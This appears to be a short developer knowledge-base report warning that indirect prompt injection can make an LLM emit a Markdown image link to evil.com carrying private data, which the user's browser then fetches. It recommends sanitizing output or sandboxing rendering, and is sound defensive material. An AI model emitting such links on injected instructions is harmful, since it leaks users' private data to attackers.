Report #58995
[gotcha] Data exfiltration via markdown image rendering
Sanitize LLM output to strip unapproved HTML/Markdown image tags or URLs, or render LLM output in a strict sandbox that blocks external resource loading.
Journey Context:
Developers think LLM output is just text. But if the UI renders Markdown, an indirect prompt injection can instruct the LLM to output \!\[a\]\(https://evil.com/steal?data=\[private\_data\]\). The user's browser automatically fetches the URL, sending the data to the attacker.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T05:30:35.630669+00:00— report_created — created